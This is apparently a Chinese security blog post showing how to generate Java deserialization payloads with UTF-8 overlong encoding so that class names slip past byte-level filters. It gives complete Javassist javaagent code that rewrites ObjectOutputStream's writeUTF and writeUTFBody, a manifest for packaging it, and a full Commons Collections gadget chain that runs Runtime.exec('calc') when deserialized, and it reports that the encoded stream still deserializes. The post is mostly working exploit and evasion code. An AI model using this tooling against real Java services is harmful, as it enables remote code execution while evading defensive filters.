java反序列化UTF-8 Overlong Encoding

参考文章:
https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
https://exp10it.io/2024/02/hessian-utf-8-overlong-encoding/

在java反序列化中,readUTF函数存在对三个字节进行转换成字符串

我们可以将敏感字节,从一个字节转换成三个字节,原理可以参考UTF-8 Overlong Encoding导致的安全问题

在我看java反序列化的过程中,
我们可以通过hook掉ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)函数和writeUTFBody函数实现UTF-8 Overlong Encoding。

分析:

正常序列化流程,调用到ObjectOutputStream$BlockDataOutputStream的writeUTF#writeUTF(String s)时候,会向当前类的也就是上面所需要hook的
ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)
传入类名和字段长度

当长度和类名长度不等的时候,会走入writeUTFBody中,进行处理

当传入的s的每个字符大于0x007f时候并且小于0x07ff,会进行两个字节的编码
每个字符大于0x007f时候并且大于0x07ff时候,会进行三个字节的编码
每个字符小于0x007f时候,就正常输出

实现

所以我们通过hook函数的实现也就清晰了
通过javassist获取ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)
直接修改为utflen长度为字节的长度,然后直接走入writeUTFBody中

1
2
3
4
5
6
7
8
9
CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream");  
classPool.importPackage(IOException.class.getName());
CtMethod writeUTF = ctClass.getMethod("writeUTF","(Ljava/lang/String;J)V");
ctClass.removeMethod(writeUTF);
CtMethod make1 = CtNewMethod.make("void writeUTF(String s, long utflen) throws IOException {\n" +
" writeShort((int) utflen*3);\n" +
" writeUTFBody(s);\n" +
" }", ctClass);
ctClass.addMethod(make1);

但是这样还不够,我们传入的s是默认是小于0x7f的,所以我们再次修改BlockDataOutputStream#writeUTFBody(String s)
使得if判断失效,上面这个三个字节没有注释,其他注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
CtMethod method = ctClass.getDeclaredMethod("writeUTFBody");  
ctClass.removeMethod(method);
CtMethod make = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" +
" int limit = MAX_BLOCK_SIZE - 3;\n" +
" int len = s.length();\n" +
" for (int off = 0; off < len; ) {\n" +
" int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" +
" s.getChars(off, off + csize, cbuf, 0);\n" +
" for (int cpos = 0; cpos < csize; cpos++) {\n" +
" char c = cbuf[cpos];\n" +
" if (pos <= limit) {\n" +
"// if (c <= 0x007F && c != 0) {\n" +
"// buf[pos++] = (byte) c;\n" +
"// } else if (c > 0x07FF) {\n" +
" buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
" buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" +
" buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" +
" pos += 3;\n" +
"// } else {\n" +
"// buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
"// buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" +
"// pos += 2;\n" +
"// }\n" +
" } else { // write one byte at a time to normalize block\n" +
" if (c <= 0x007F && c != 0) {\n" +
" write(c);\n" +
" } else if (c > 0x07FF) {\n" +
" write(0xE0 | ((c >> 12) & 0x0F));\n" +
" write(0x80 | ((c >> 6) & 0x3F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" } else {\n" +
" write(0xC0 | ((c >> 6) & 0x1F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" }\n" +
" }\n" +
" }\n" +
" off += csize;\n" +
" }\n" +
" }\n" +
"}", ctClass);
ctClass.addMethod(make);

我们写入到javaagent去使用

1
2
3
4
5
6
7
8
9
10
package com.n1ght;  
import java.lang.instrument.Instrumentation;
import java.lang.reflect.AccessibleObject;
public class Agent {
public static void premain(String agentArgs, Instrumentation inst) throws Exception {
// JarFileHelper.addJarToBootstrap(inst);
inst.addTransformer(new NightTransformer(), true);
inst.retransformClasses(new Class[] { AccessibleObject.class });
}
}

在插桩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package com.n1ght;  

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class NightTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {


if(className.equals("java/io/ObjectOutputStream$BlockDataOutputStream")){
System.out.println("true2");

ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream");
classPool.importPackage(IOException.class.getName());
CtMethod writeUTF = ctClass.getMethod("writeUTF","(Ljava/lang/String;J)V");
ctClass.removeMethod(writeUTF);
CtMethod make1 = CtNewMethod.make("void writeUTF(String s, long utflen) throws IOException {\n" +
" writeShort((int) utflen*3);\n" +
" writeUTFBody(s);\n" +
" }", ctClass);
ctClass.addMethod(make1);


CtMethod method = ctClass.getDeclaredMethod("writeUTFBody");
ctClass.removeMethod(method);
CtMethod make = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" +
" int limit = MAX_BLOCK_SIZE - 3;\n" +
" int len = s.length();\n" +
" for (int off = 0; off < len; ) {\n" +
" int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" +
" s.getChars(off, off + csize, cbuf, 0);\n" +
" for (int cpos = 0; cpos < csize; cpos++) {\n" +
" char c = cbuf[cpos];\n" +
" if (pos <= limit) {\n" +
"// if (c <= 0x007F && c != 0) {\n" +
"// buf[pos++] = (byte) c;\n" +
"// } else if (c > 0x07FF) {\n" +
" buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
" buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" +
" buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" +
" pos += 3;\n" +
"// } else {\n" +
"// buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
"// buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" +
"// pos += 2;\n" +
"// }\n" +
" } else { // write one byte at a time to normalize block\n" +
" if (c <= 0x007F && c != 0) {\n" +
" write(c);\n" +
" } else if (c > 0x07FF) {\n" +
" write(0xE0 | ((c >> 12) & 0x0F));\n" +
" write(0x80 | ((c >> 6) & 0x3F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" } else {\n" +
" write(0xC0 | ((c >> 6) & 0x1F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" }\n" +
" }\n" +
" }\n" +
" off += csize;\n" +
" }\n" +
" }\n" +
"}", ctClass);
ctClass.addMethod(make);
ctClass.detach();
return ctClass.toBytecode();
} catch (Exception e) {
System.out.println(e);
throw new RuntimeException(e);
}
}
return classfileBuffer;
}


}

MANIFEST.MF
设置为

1
2
3
4
5
6
7
8
Manifest-Version: 1.0  
Archiver-Version: Plexus Archiver
Created-By: Apache Maven
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.n1ght.Agent
Project-name: com.n1ght.AgentMain
Project-version: 1.0-SNAPSHOT

打包成javassist-3.30.2-GA.jar
在idea运行中使用
alt+v添加-javaagent:jar路径

这里使用一个cc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};

Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object,Object> hashMap1 = new HashMap<>();
HashMap<Object,Object> hashMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);

lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
new ObjectOutputStream(fileOutputStream).writeObject(hashtable);
}
}

点击运行,得到utf-8 overlong encoding的序列化数据

对比没有任何处理的数据

并且能正常反序列化成功